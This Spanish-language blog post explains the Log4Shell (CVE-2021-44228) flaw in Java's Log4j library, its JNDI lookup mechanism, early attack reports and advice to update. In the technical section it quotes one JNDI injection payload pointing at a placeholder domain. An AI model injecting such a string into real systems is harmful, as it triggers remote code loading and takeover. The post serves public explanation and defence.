Log4Shell y la navidad de los hackers

2021-12-30 Leer en voz alta

La obscena y aguda vulnerabilidad en la librería Log4j -hecha pública en diciembre de 2021- tiene al mundo de la ciberseguridad con los pelos de punta, no solo por ser trivial de explotar remotamente sino porque es una librería casi omnipresente en cualquier desarrollo hecho en el lenguaje de programación Java.

¿Qué es Log4j y por qué tanto alboroto?

Log4j es una librería de Java usada para llevar registros (o logs, en inglés) de errores, acciones, fechas, resultados y un largo etcétera que luego serán útiles en procesos de mejora, auditoría o simplemente para hacerle seguimiento a la ejecución de un programa. Normalmente es un procedimiento silencioso e interno que aunque no lo veamos, está ahí.

El alboroto es porque Log4j es una de las librerías más usadas para llevar estos registros en Java, por lo tanto, se usa en millones de computadores, teléfonos, servidores, routers y muchos otros aparatos de todo el mundo. Esto, sumado a que la vulnerabilidad se puede explotar fácil y remotamente, hacen la cuestión un tanto caótica.

Log4shell se hizo pública el 9 de diciembre de 2021 y fue indexada como CVE-2021-44228, al parecer fue reportada por primera vez en el juego Minecraft.Es un investigador al servicio de Alibaba Cloud quien tiene el crédito de haber reportado inicialmente el problema a los desarrolladores -cuestión que le trajo problemas a la compañía china-. Hay reportes de actividad maliciosa explotando esta vulnerabilidad desde el 1 de diciembre.

El 13 de diciembre, a cuatro días de haberse hecho pública, la compañía Checkpoint estaba detectando alrededor de 100 ataques por minuto, investigadores de Microsoft ya habían detectado malware para minar criptomonedas usando esta vulnerabilidad, la compañía Sophos reportaba haber detenido “cientos de miles” de ataques asociados con Log4j y para colmo de males la primera actualización para arreglar el problema tenía una vulnerabilidad en sí misma.

Es de notar que si bien ya se han publicadoactualizaciones para la librería y para varios paquetes de software,  es muy probable que esta vulnerabilidad viva por mucho tiempo en programas desactualizados (mayormente de servidores) donde ni siquiera se ha tenido en cuenta que Log4j está en uso y se espera que veamos incidentes de seguridad relacionados con Log4Shell por años.

La vulnerabilidad

Log4shell, como se le conoce cariñosamente, existe desde 2013 cuando la librería Log4j implementó el plugin JNDILookup. JNDI (Java Naming and Directory Interface) es un sistema que le permite a los programadores encontrar objetos de Java en locaciones diferentes a su propio programa, es decir, un programa puede bajar de un servidor pequeños programas que incorpora a su propio funcionamiento.

Log4j implementó esta funcionalidad con el fin de flexibilizar la manera de encontrar la información que se escribe en los logs, abriendo nuevas opciones para los programadores, pero creando un problema de seguridad que parece increíble que solo se haya descubierto 8 años después.

Un atacante buscará entonces la manera de que un dato que puede manipular (por ejemplo, un nombre de usuario o el tipo de navegador que usa) quede registrado en los logs de, por ejemplo, un servidor web vulnerable y en vez de enviar el dato que el servidor espera envía algo como: ${jndi:ldap://ejemplo.com/a}… ¡jaque!

Internamente el servidor, que inocentemente solo quiere guardar ese nombre de usuario o tipo de navegador en sus registros (estos son solo ejemplos, hay infinidad de posibilidades), delega a Log4j guardar esta información pero este no lo hace directamente. Primero interpreta esa línea que empieza por ${ que a su vez le está diciendo que consulte el resultado del programa que está en ldap://ejemplo.com/a, y que con base en eso escriba el registro que le encargaron. Todo es un engaño.

Si el atacante controla ejemplo.com (o cualquier dominio que pueda poner en el texto que va para los logs) puede hacer que el servidor web de nuestro ejemplo ejecute un programa que nada tiene que ver con logs y lo que hace es tomar control de la máquina que lo está consultando… ¡jaque mate!

La facilidad y flexibilidad que tiene esta vulnerabilidad para ser explotada da para pensar que se puede hacer -con relativa facilidad- un gusano que vaya infectando computadores saltando de uno a otro.

Hay muchas más particularidades, pero esa es la idea. Si quieres investigar más sobre los detalles técnicos de esta vulnerabilidad te recomiendo:

La Defensa

Actualizar ya, todo: el teléfono, el computador, la tablet, la nevera, etc. todo lo que se conecte a internet.

Si eres administrador de sistemas o de algún servidor, actualiza lo antes posible, sé que esto a veces viene con dolorcitos de cabeza, pero es mejor.

Para ver un listado de software vulnerable, y compararlo con lo que tienes, puedes revisar esta tabla: https://github.com/NCSC-NL/log4shell/tree/main/software

Y para mas información sobre que hacer y recomendaciones de otras instituciones puedes leer este artículo: https://www.zdnet.com/article/log4j-zero-day-flaw-what-you-need-to-know-and-how-to-protect-yourself/

Feliz Navidad

Cuando muchas personas que trabajan en seguridad informática pensaron que tal vez iban a tener una navidad tranquila después de la avalancha de incidentes de este año, con el ransomware desbordado, los hackeos a infraestructura crítica por doquier, cualquier cantidad de fugas de información y un sinnúmero de ataques a los derechos humanos desde el ciberespacio, aparece esta vulnerabilidad para ponerlos a todos en alerta máxima. 

Unos solo queremos satisfacer nuestra curiosidad, otros estarán buscando la manera de usarla maliciosamente y una gran mayoría estará desarrollando técnicas de defensa para actuar contra esta nueva amenaza que no solo se cierne sobre la ya muy atacada internet sino sobre la tranquilidad de las fiestas navideñas de los hackers.

****

Deja un comentario

Tu dirección de correo electrónico no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.